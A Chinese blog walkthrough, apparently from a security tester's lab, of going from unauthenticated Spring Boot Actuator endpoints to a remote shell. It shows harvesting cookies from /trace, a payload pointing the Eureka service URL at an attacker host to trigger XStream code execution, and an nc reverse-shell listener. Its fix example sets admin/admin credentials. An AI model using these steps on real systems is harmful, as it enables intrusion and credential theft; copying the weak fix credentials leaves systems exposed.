溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

發(fā)布時(shí)間:2022-01-15 10:17:29 來源:億速云 閱讀:566 作者:柒染 欄目:網(wǎng)絡(luò)安全

這篇文章主要為大家分析了Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析的相關(guān)知識(shí)點(diǎn),內(nèi)容詳細(xì)易懂,操作細(xì)節(jié)合理,具有一定參考價(jià)值。如果感興趣的話,不妨跟著跟隨小編一起來看看,下面跟著小編一起深入學(xué)習(xí)“Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析”的知識(shí)吧。

前言

部門大佬在某src上挖到了這個(gè)漏洞,是一個(gè)比較老的洞了,我覺得有點(diǎn)意思,就動(dòng)手在本地搭了個(gè)環(huán)境測試一下。

Actuator 是 springboot 提供的用來對(duì)應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模塊,借助于 Actuator 開發(fā)者可以很方便地對(duì)應(yīng)用系統(tǒng)某些監(jiān)控指標(biāo)進(jìn)行查看、統(tǒng)計(jì)等。在 Actuator 啟用的情況下,如果沒有做好相關(guān)權(quán)限控制,非法用戶可通過訪問默認(rèn)的執(zhí)行器端點(diǎn)(endpoints)來獲取應(yīng)用系統(tǒng)中的監(jiān)控信息,從而導(dǎo)致信息泄露甚至服務(wù)器被接管的事件發(fā)生。

如上所示,actuator 是 springboot 提供的用來對(duì)應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模塊。其提供的執(zhí)行器端點(diǎn)分為兩類:原生端點(diǎn)和用戶自定義擴(kuò)展端點(diǎn),原生端點(diǎn)主要有:

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

利用思路

  1. 利用env加refresh進(jìn)行g(shù)etshell

  2. 利用mappings,尋找未授權(quán)接口

  3. 利用trace,獲取認(rèn)證信息(Cookie、tooken、Session),利用認(rèn)證信息訪問接口。

  4. env有可能泄露的數(shù)據(jù)庫賬號(hào)密碼(mangodb),當(dāng)然得開放外網(wǎng),可能性較小。

  5. 老外說可以執(zhí)行sql語句,目前沒搞明白

漏洞發(fā)現(xiàn)

通常識(shí)別當(dāng)前 web 應(yīng)用使用的框架為 springboot 框架。主要有兩個(gè)方法判斷:

  1. 通過 web 應(yīng)用程序網(wǎng)頁標(biāo)簽的圖標(biāo)(favicon.ico);如果 web 應(yīng)用開發(fā)者沒有修改 springboot web 應(yīng)用的默認(rèn)圖標(biāo),那么進(jìn)入應(yīng)用首頁后可以看到如下默認(rèn)的綠色小圖標(biāo):

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

  1. 通過 springboot 框架默認(rèn)報(bào)錯(cuò)頁面;如果 web 應(yīng)用開發(fā)者沒有修改 springboot web 應(yīng)用的默認(rèn) 4xx、5xx 報(bào)錯(cuò)頁面,那么當(dāng) web 應(yīng)用程序出現(xiàn) 4xx、5xx 錯(cuò)誤時(shí),會(huì)報(bào)錯(cuò)如下(此處僅以 404 報(bào)錯(cuò)頁面為例):訪問一個(gè)隨便構(gòu)造的路徑,比如:http:/172.26.2.24:8090/index,出現(xiàn)如下報(bào)錯(cuò)頁面說明web網(wǎng)站使用了springboot框架(在實(shí)際中遇到的大多數(shù)都是此類情況)。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

綜合以上兩個(gè)途徑來判斷當(dāng)前 web 應(yīng)用是否是 springboot 框架,就是通過訪問不同的目錄,看是否有小綠葉圖標(biāo),然后就是想辦法在不同目錄下觸發(fā)應(yīng)用程序的 4xx 或 5xx 錯(cuò)誤,看是否有 Whitelabel Error Page 報(bào)錯(cuò)。

漏洞利用

訪問/trace端點(diǎn)獲取基本的 HTTP 請求跟蹤信息(時(shí)間戳、HTTP 頭等),如果存在登錄用戶的操作請求,可以偽造cookie進(jìn)行登錄。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

訪問/env端點(diǎn)獲取全部環(huán)境屬性,由于 actuator 會(huì)監(jiān)控站點(diǎn) mysql、mangodb 之類的數(shù)據(jù)庫服務(wù),所以通過監(jiān)控信息有時(shí)可以mysql、mangodb 數(shù)據(jù)庫信息,如果數(shù)據(jù)庫正好開放在公網(wǎng),那么造成的危害是巨大的,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

/env端點(diǎn)配置不當(dāng)造成RCE,

前置條件:Eureka-Client <1.8.7(多見于Spring Cloud Netflix)

比如測試前臺(tái)json報(bào)錯(cuò)泄露包名就是使用netflix

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

需要以下兩個(gè)包

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依賴)

利用python3啟動(dòng)腳本,需要注意兩個(gè)地方,一個(gè)為接收shell的ip和端口,另一個(gè)為我們腳本啟動(dòng)的端口,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Nc監(jiān)聽一個(gè)端口用以接收反彈shell,

寫入配置,訪問/env端點(diǎn),抓包將get請求改為post請求,post內(nèi)容為(該ip為腳本啟動(dòng)的機(jī)器的ip):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

然后再訪問/refresh,抓包將get請求更改為post請求,post數(shù)據(jù)隨意,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

然后在我們nc的窗口可以看到成功反彈了一個(gè)shell回來。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

漏洞修復(fù)

作為一名安全dog,不能只挖不修,在項(xiàng)目的pom.xml文件下引入spring-boot-starter-security依賴

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency>

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

然后在application.properties中開啟security功能,配置訪問賬號(hào)密碼,重啟應(yīng)用即可彈出。

management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

禁用接口,則可設(shè)置如下(如禁用env接口):

endpoints.env.enabled= false

問題

老外說可以執(zhí)行sql語句發(fā)現(xiàn)執(zhí)行不了,可能方法沒用對(duì),截了個(gè)他的圖,希望有執(zhí)行成功的大佬分享下。

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

實(shí)際環(huán)境中,發(fā)現(xiàn)很多無refresh ,導(dǎo)致無法執(zhí)行命令目前還沒突破

關(guān)于“Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析”就介紹到這了,更多相關(guān)內(nèi)容可以搜索億速云以前的文章,希望能夠幫助大家答疑解惑,請多多支持億速云網(wǎng)站!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI